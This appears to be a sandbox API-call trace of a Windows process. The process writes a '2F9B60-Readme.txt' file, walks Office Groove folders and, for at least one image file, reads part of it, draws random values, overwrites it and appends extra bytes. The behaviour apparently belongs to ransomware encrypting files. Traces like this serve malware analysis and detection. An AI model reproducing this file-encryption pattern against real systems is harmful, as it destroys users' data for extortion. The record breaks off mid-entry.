[0241.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\2f9b60-readme.txt")) returned 0xffffffff [0241.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xfe0 [0244.027] WriteFile (hFile=0xfe0, lpBuffer=0x1b82f9a0, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2cb9fb70, lpOverlapped=0x0) Thread: id = 3687 os_tid = 0x221c [0218.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x4312c2e0 [0218.328] wcscpy (in: _Dest=0x4312c2e0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3" [0218.328] wcscat (in: _Dest=0x4312c2e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\" [0218.328] wcscat (in: _Dest=0x4312c2e0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\*" [0218.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1e6e0 [0218.328] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\*", lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x431fa4a0 [0220.129] wcscmp (_String1=".", _String2=".") returned 0 [0220.129] FindNextFileW (in: hFindFile=0x431fa4a0, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.217] wcscmp (_String1="..", _String2=".") returned 1 [0220.217] wcscmp (_String1="..", _String2="..") returned 0 [0220.217] FindNextFileW (in: hFindFile=0x431fa4a0, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eaf6290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADD.GIF", cAlternateFileName="")) returned 1 [0220.217] wcscmp (_String1="ADD.GIF", _String2=".") returned 1 [0220.217] wcscmp (_String1="ADD.GIF", _String2="..") returned 1 [0220.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x43111b60 [0220.217] wcscpy (in: _Dest=0x43111b60, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3" [0220.217] wcscat (in: _Dest=0x43111b60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\" [0220.217] wcscat (in: _Dest=0x43111b60, _Source="ADD.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\ADD.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\ADD.GIF" [0220.217] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43111b60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x32b4 [0220.243] FindNextFileW (in: hFindFile=0x431fa4a0, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eaf6290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddToViewArrow.jpg", cAlternateFileName="ADDTOV~1.JPG")) returned 1 [0220.243] wcscmp (_String1="AddToViewArrow.jpg", _String2=".") returned 1 [0220.243] wcscmp (_String1="AddToViewArrow.jpg", _String2="..") returned 1 [0220.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x43114f00 [0220.243] wcscpy (in: _Dest=0x43114f00, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3" [0220.243] wcscat (in: _Dest=0x43114f00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\" [0220.243] wcscat (in: _Dest=0x43114f00, _Source="AddToViewArrow.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\AddToViewArrow.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\AddToViewArrow.jpg" [0220.243] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43114f00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x720 [0220.244] FindNextFileW (in: hFindFile=0x431fa4a0, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x924, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddToViewArrowMask.bmp", cAlternateFileName="ADDTOV~1.BMP")) returned 1 [0220.244] wcscmp (_String1="AddToViewArrowMask.bmp", _String2=".") returned 1 [0220.244] wcscmp (_String1="AddToViewArrowMask.bmp", _String2="..") returned 1 [0220.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd4) returned 0x43114fe0 [0220.245] wcscpy (in: _Dest=0x43114fe0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3" [0220.245] wcscat (in: _Dest=0x43114fe0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\" [0220.245] wcscat (in: _Dest=0x43114fe0, _Source="AddToViewArrowMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\AddToViewArrowMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\AddToViewArrowMask.bmp" [0220.245] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43114fe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe10 [0220.246] FindNextFileW (in: hFindFile=0x431fa4a0, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="attention.gif", cAlternateFileName="ATTENT~1.GIF")) returned 1 [0220.246] wcscmp (_String1="attention.gif", _String2=".") returned 1 [0220.246] wcscmp (_String1="attention.gif", _String2="..") returned 1 [0220.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x43112b30 [0220.246] wcscpy (in: _Dest=0x43112b30, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3" [0220.246] wcscat (in: _Dest=0x43112b30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\" [0220.246] wcscat (in: _Dest=0x43112b30, _Source="attention.gif" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\attention.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\attention.gif" [0220.246] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43112b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa2c [0220.246] FindNextFileW (in: hFindFile=0x431fa4a0, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f61e9b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x614e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BG_ADOBE.GIF", cAlternateFileName="")) returned 1 [0220.246] wcscmp (_String1="BG_ADOBE.GIF", _String2=".") returned 1 [0220.246] wcscmp (_String1="BG_ADOBE.GIF", _String2="..") returned 1 [0220.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x43112c00 [0220.246] wcscpy (in: _Dest=0x43112c00, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3" [0220.247] wcscat (in: _Dest=0x43112c00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\" [0220.247] wcscat (in: _Dest=0x43112c00, _Source="BG_ADOBE.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\BG_ADOBE.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\BG_ADOBE.GIF" [0220.247] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43112c00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x32d8 [0220.247] FindNextFileW (in: hFindFile=0x431fa4a0, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f61e9b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x161d, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Casual.gif", cAlternateFileName="BG_CAS~1.GIF")) returned 1 [0220.247] wcscmp (_String1="bg_Casual.gif", _String2=".") returned 1 [0220.247] wcscmp (_String1="bg_Casual.gif", _String2="..") returned 1 [0220.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x43112cd0 [0220.247] wcscpy (in: _Dest=0x43112cd0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3" [0220.247] wcscat (in: _Dest=0x43112cd0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\" [0220.247] wcscat (in: _Dest=0x43112cd0, _Source="bg_Casual.gif" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Casual.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Casual.gif" [0220.247] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43112cd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x32dc [0220.248] FindNextFileW (in: hFindFile=0x431fa4a0, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7dd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Country.gif", cAlternateFileName="BG_COU~1.GIF")) returned 1 [0220.248] wcscmp (_String1="bg_Country.gif", _String2=".") returned 1 [0220.248] wcscmp (_String1="bg_Country.gif", _String2="..") returned 1 [0220.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x43112da0 [0220.248] wcscpy (in: _Dest=0x43112da0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3" [0220.248] wcscat (in: _Dest=0x43112da0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\" [0220.248] wcscat (in: _Dest=0x43112da0, _Source="bg_Country.gif" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Country.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Country.gif" [0220.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Country.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_country.gif")) returned 0x20 [0220.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Country.gif", dwFileAttributes=0x20) returned 1 [0220.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Country.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_country.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x32e0 [0220.251] GetFileSizeEx (in: hFile=0x32e0, lpFileSize=0x2ba0f7c0 | out: lpFileSize=0x2ba0f7c0*=32211) returned 1 [0220.251] SetFilePointerEx (in: hFile=0x32e0, liDistanceToMove=0x7dcf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.251] ReadFile (in: hFile=0x32e0, lpBuffer=0x2ba0f740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ba0f788, lpOverlapped=0x0 | out: lpBuffer=0x2ba0f740*, lpNumberOfBytesRead=0x2ba0f788*=0x4, lpOverlapped=0x0) returned 1 [0220.435] SetFilePointerEx (in: hFile=0x32e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b290 [0220.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af90 [0220.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b470 [0220.438] NtQuerySystemTime (in: CurrentTime=0x2ba0f680 | out: CurrentTime=0x2ba0f680*=132462178244290000) returned 0x0 [0220.438] RtlRandomEx (in: Seed=0x2ba0f670 | out: Seed=0x2ba0f670) returned 0x2d35bdbe [0220.438] RtlRandomEx (in: Seed=0x2ba0f670 | out: Seed=0x2ba0f670) returned 0x3435f699 [0220.438] RtlRandomEx (in: Seed=0x2ba0f670 | out: Seed=0x2ba0f670) returned 0x2fe4a48c [0220.438] RtlRandomEx (in: Seed=0x2ba0f670 | out: Seed=0x2ba0f670) returned 0x380428e6 [0220.438] RtlRandomEx (in: Seed=0x2ba0f670 | out: Seed=0x2ba0f670) returned 0x3d197249 [0220.438] RtlRandomEx (in: Seed=0x2ba0f670 | out: Seed=0x2ba0f670) returned 0x2844d04e [0220.438] RtlRandomEx (in: Seed=0x2ba0f670 | out: Seed=0x2ba0f670) returned 0xada8a5c [0220.438] RtlRandomEx (in: Seed=0x2ba0f670 | out: Seed=0x2ba0f670) returned 0x2c73dfeb [0220.438] RtlRandomEx (in: Seed=0x2ba0f670 | out: Seed=0x2ba0f670) returned 0x1b58f96c [0220.438] RtlRandomEx (in: Seed=0x2ba0f670 | out: Seed=0x2ba0f670) returned 0x29c8acc0 [0220.438] RtlRandomEx (in: Seed=0x2ba0f670 | out: Seed=0x2ba0f670) returned 0x50227a86 [0220.438] RtlRandomEx (in: Seed=0x2ba0f670 | out: Seed=0x2ba0f670) returned 0x790746e4 [0220.438] RtlRandomEx (in: Seed=0x2ba0f670 | out: Seed=0x2ba0f670) returned 0x40c64412 [0220.438] RtlRandomEx (in: Seed=0x2ba0f670 | out: Seed=0x2ba0f670) returned 0x70422b04 [0220.438] RtlRandomEx (in: Seed=0x2ba0f670 | out: Seed=0x2ba0f670) returned 0x669314bf [0220.438] RtlRandomEx (in: Seed=0x2ba0f670 | out: Seed=0x2ba0f670) returned 0x579de290 [0220.438] RtlRandomEx (in: Seed=0x2ba0f670 | out: Seed=0x2ba0f670) returned 0x6e886d18 [0220.438] RtlRandomEx (in: Seed=0x2ba0f670 | out: Seed=0x2ba0f670) returned 0x19f1104f [0220.438] RtlRandomEx (in: Seed=0x2ba0f670 | out: Seed=0x2ba0f670) returned 0x42a8c04a [0220.438] RtlRandomEx (in: Seed=0x2ba0f670 | out: Seed=0x2ba0f670) returned 0x78718977 [0220.438] RtlRandomEx (in: Seed=0x2ba0f670 | out: Seed=0x2ba0f670) returned 0x57a7b401 [0220.438] RtlRandomEx (in: Seed=0x2ba0f670 | out: Seed=0x2ba0f670) returned 0x4253976b [0220.438] RtlRandomEx (in: Seed=0x2ba0f670 | out: Seed=0x2ba0f670) returned 0x4442bb6 [0220.438] RtlRandomEx (in: Seed=0x2ba0f670 | out: Seed=0x2ba0f670) returned 0x5eb2865d [0220.438] RtlRandomEx (in: Seed=0x2ba0f670 | out: Seed=0x2ba0f670) returned 0x34057366 [0220.438] RtlRandomEx (in: Seed=0x2ba0f670 | out: Seed=0x2ba0f670) returned 0x503a8e8a [0220.438] RtlRandomEx (in: Seed=0x2ba0f670 | out: Seed=0x2ba0f670) returned 0x5518a839 [0220.438] RtlRandomEx (in: Seed=0x2ba0f670 | out: Seed=0x2ba0f670) returned 0x6543c7a1 [0220.438] RtlRandomEx (in: Seed=0x2ba0f670 | out: Seed=0x2ba0f670) returned 0x56bef09c [0220.438] RtlRandomEx (in: Seed=0x2ba0f670 | out: Seed=0x2ba0f670) returned 0x263f35bd [0220.438] RtlRandomEx (in: Seed=0x2ba0f670 | out: Seed=0x2ba0f670) returned 0x576d3b69 [0220.438] RtlRandomEx (in: Seed=0x2ba0f670 | out: Seed=0x2ba0f670) returned 0x42a769d8 [0220.446] SetFilePointerEx (in: hFile=0x32e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.446] ReadFile (in: hFile=0x32e0, lpBuffer=0x42413da0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2ba0f6e0, lpOverlapped=0x0 | out: lpBuffer=0x42413da0*, lpNumberOfBytesRead=0x2ba0f6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0221.535] SetFilePointerEx (in: hFile=0x32e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce625a0 [0221.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869bc0 [0221.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a5d0 [0221.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a5d0) returned 1 [0221.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420e1180 [0221.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a5d0 [0221.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85feb0 [0221.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85feb0) returned 1 [0221.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869bc0) returned 1 [0221.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce625a0) returned 1 [0221.539] WriteFile (in: hFile=0x32e0, lpBuffer=0x420e1180*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2ba0f6e0, lpOverlapped=0x0 | out: lpBuffer=0x420e1180*, lpNumberOfBytesWritten=0x2ba0f6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0234.837] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420e1180) returned 1 [0234.837] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42413da0) returned 1 [0234.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x431adee0 [0234.838] SetFilePointerEx (in: hFile=0x32e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.838] WriteFile (hFile=0x32e0, lpBuffer=0x431e1a40, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2ba0f790, lpOverlapped=0x0) Thread: id = 3688 os_tid = 0x2228 [0218.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x4312c3a0 [0218.330] wcscpy (in: _Dest=0x4312c3a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4" [0218.330] wcscat (in: _Dest=0x4312c3a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0218.330] wcscat (in: _Dest=0x4312c3a0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\*" [0218.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1fcd0 [0218.330] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\*", lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d310 [0220.996] wcscmp (_String1=".", _String2=".") returned 0 [0220.996] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, 